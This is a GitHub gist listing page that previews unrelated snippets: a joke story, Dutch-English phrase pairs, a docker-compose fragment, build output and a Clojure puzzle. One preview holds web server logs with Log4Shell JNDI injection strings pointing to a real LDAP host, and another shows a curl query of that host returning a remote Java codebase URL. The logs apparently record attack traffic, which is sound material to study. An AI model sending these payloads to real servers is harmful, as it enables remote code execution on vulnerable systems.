Skip to content

Instantly share code, notes, and snippets.

View gist:cc2c134e765083f16b2fda5010797913
Bob could not do the vulcan salute. Ever since he was a child he had tried and failed.
Some kids could easily do it, but not poor old Bob. "How do they do it?" wondered Bob.
He thought it must be very hard. "Indeed, it is very hard to do", thought Bob.
One day, he saw a tube at a bike shop. The tube had "Vulcanizing Solution" written on it.
"Wow, finally a solution to how do to the vulcan salute!" thought Bob.
With one hand, he squeezed the tube on
his fingers of the other hand. He applied it on his pinky and ring finger on the area between them, and
did the same for his middle and index fingers. It worked - his fingers were stuck together in the right
way and and he was doing the vulcan salute! He thought it would be harder to do, but as it
turns out, it's easy once you know the "Vulcanizing Solution"!
View gist:44d972b06f80231d566936ce35bc3b75
% curl ldap://31.131.16.127:1389/
DN:
objectClass: top
objectClass: ds-root-dse
DN:
javaClassName: foo
javaCodeBase: http://137.184.174.180:8082/
View gist:603f1654024fa0cca7e4e834abdcfa9a
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "GET /${jndi:ldap://31.131.16.127:1389/Exploit} HTTP/1.1" 301 597 "-" "Mozilla/5.0 (platform; rv:geckovers
ion) Gecko/geckotrail Firefox/firefox"
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "GET / HTTP/1.1" 301 509 "-" "${jndi:ldap://31.131.16.127:1389/Exploit}"
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "POST /login HTTP/1.1" 301 519 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firef
ox"
46.105.95.220 - - [16/Dec/2021:21:06:01 +0000] "GET / HTTP/1.1" 301 509 "-" "curl/7.58.0"
View gist:7aa5e692cee869c73bcb5ef6278f24d8
version: "3.9"
services:
db:
image: mysql:5.7
platform: linux/amd64
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
View gist:6bf9b05d33601e67fceb94dc17d12ef6
;; Problem
;;
;; Given 4 numbers: [1 3 4 6] and 4 operators [+ - * /],
;; Find an expression: n1 o1 n2 o2 n3 o3 n4 where:
;; - n1,n2,n3,n4 is a permutation of those 4 numbers
;; - o2,o3,o4 each are a member of the operators.
;; - the result of that expression is 24.
;;
;; For example, in:
;; in the expression: 6 + 4 - 3 + 1
View gist:03671b51233ba9f37e7d375066dabb5b
❯ mvn verify
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------< com.amazonaws:aws-sam-java-rest >-------------------
[INFO] Building A sample REST application built on SAM and DynamoDB 1.0.0
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-enforcer-plugin:3.0.0-M2:enforce (enforce) @ aws-sam-java-rest ---
[INFO]
[INFO] --- maven-checkstyle-plugin:3.0.0:check (validate) @ aws-sam-java-rest ---
View gist:3c80b084e48fc47c6a8a1482defd3107
:jvm-opts [;; https://stackoverflow.com/questions/18447995/postgresql-9-2-jdbc-driver-uses-client-time-zone
"-Duser.timezone=America/Los_Angeles"]
View gist:9b68519af5ba6ea9ecb42c0f4984ca52
Hun zeven en zestig uitgebrokene kittens.|
|Their sixty seven escaped kittens.
Die vijf en veertig bedroefde jassen.|
|Those forty five sad coats.
Zijn vier en deertig vieze opleidingen.|
|His thirty four dirty educations.
Die zeven en deertig nieuwsgierige moeders.|
|Those thirty seven curious mothers.
Wat negen en vijftig ware heren.|
|Some fifty nine true gentlemen.
View gist:7c40e639c4fe8c12295fdb90a18fe415
Jouw twee en zestig grote opleidingen bestrijden.|
|Your sixty two big educations overcome.
Jouw drie en veertig zenuwachtige boeken uitgeleggen.|
|Your forty three nervous books explain.
Mijn acht en zestig verwarrende plaatsen werken.|
|My sixty eight confusing lots work.
Haar drie en veertig kleine gebeiden bestrijden.|
|Her forty three small areas overcome.
Zijn vier en veertig verdachte overheden uitgeleggen.|
|His forty four suspicious governments explain.
View gist:3bc2b2590fe2dee4fdc4e8cf7215aa88
# [np:1 .[conj-outer .eén +[conj-inner +en .zestig]] +vogels]
---
Eén en zestig vogels.|
|Some sixty one birds.
Vier en deertig vogels.|
|Some thirty four birds.
Acht en twintig vogels.|
|Some twenty eight birds.
Negen en veertig vogels.|
|Some forty nine birds.